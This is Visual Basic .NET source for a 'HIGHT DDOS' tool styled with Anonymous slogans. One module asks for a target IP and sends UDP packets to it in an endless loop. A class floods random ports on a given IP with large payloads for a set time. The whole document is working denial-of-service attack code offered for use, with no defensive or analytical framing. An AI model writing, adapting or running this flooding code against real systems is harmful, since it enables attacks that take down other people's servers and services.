DDOS VB

MODULO ===================================================

Imports System.Net
Imports System.Net.Sockets
Module Module1
    Sub Main()
        Dim IP As String
        Dim Port As Integer = 80
        Dim sentt As Integer
        Dim synthesizer = CreateObject("SAPI.spvoice")
        Console.SetWindowSize(70, 25)
        Console.Title = "HIGHT DDOS ATACK"
        Console.ForegroundColor = ConsoleColor.Green
        Console.WriteLine("HIGHT DDOS CREATED BY POWERTECH")
        Console.ForegroundColor = ConsoleColor.Red
        Console.WriteLine("We are Anonymous.")
        Console.WriteLine("We are Legion.")
        Console.WriteLine("We do not forgive. ")
        Console.WriteLine("We do not forget. ")
        Console.WriteLine("Expect us.")
        Console.ForegroundColor = ConsoleColor.Yellow
        Console.WriteLine(" ")
        Console.WriteLine("HIGHT DDOS V 0.1")
        Console.WriteLine(" ")
        Console.WriteLine(" ")
        Console.ForegroundColor = ConsoleColor.Cyan
        Console.WriteLine("XAT.COM Name = zPowerTech")
        synthesizer.Speak("     Welcome to HIGHT DDOS        ")
        Console.ForegroundColor = ConsoleColor.Green
        Console.WriteLine(" ")
        Console.WriteLine("____________________________")
        Console.Write("IP ADRESS YOUR SITE : ")
        IP = Console.ReadLine
        Dim remoteEP As New IPEndPoint(IPAddress.Parse(IP), Port)
        Dim buffer As Byte() = New Byte(&H1000 - 1) {}
        Dim socket As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
        Console.ForegroundColor = ConsoleColor.Blue
        Console.WriteLine("****************************************************************************")
        Console.WriteLine(String.Concat(New Object() {"Attacking to : ", IP, ":", Port, " - ", DateTime.Now.ToString("MM/dd/yyyy h:mm tt")}))
        Console.WriteLine("****************************************************************************")
        Console.WriteLine("Press Any Key To Continue...")
        Console.ReadLine()
        Console.ForegroundColor = ConsoleColor.Red
        Do While True
            sentt += 1
            Console.WriteLine(("Sending : " & sentt & " Packets"))
            socket.SendTo(buffer, remoteEP)
            Threading.Thread.Sleep(&H2D)
        Loop
    End Sub

End Module

FIM MODULO ======================================================================================================

cLASSE-------------------------------------------------------------------------------------------------

Imports System.Text
Imports System.Net.Sockets
Imports System.Net

Public Class Class1

    Private Delegate Sub Send(ByVal IP$, ByVal Port As Integer, ByVal Data$)
    Private S As New Send(AddressOf _S)

    Public Sub Flood(ByVal IP$, ByVal Seconds As Integer)
        Dim Later As Date = Now.AddSeconds(Seconds)
        Dim RandomData$ = String.Empty
        Dim I As Integer = 0
        Do Until I > 65500
            RandomData &= "X"
            I += 1
        Loop
        Do
            If Now > Later Then Exit Sub
            Randomize()
            S = New Send(AddressOf _S)
            S(IP, CInt(Math.Ceiling(Rnd() * 65500)), RandomData)
        Loop
    End Sub

    Private Sub _S(ByVal IP$, ByVal Port As Integer, ByVal Data$)
        Using Client As New UdpClient
            With Client
                .Connect(IPAddress.Parse(IP), Port)
                .Send(Encoding.ASCII.GetBytes(Data), Encoding.ASCII.GetBytes(Data).Length)
            End With
        End Using
    End Sub

End Class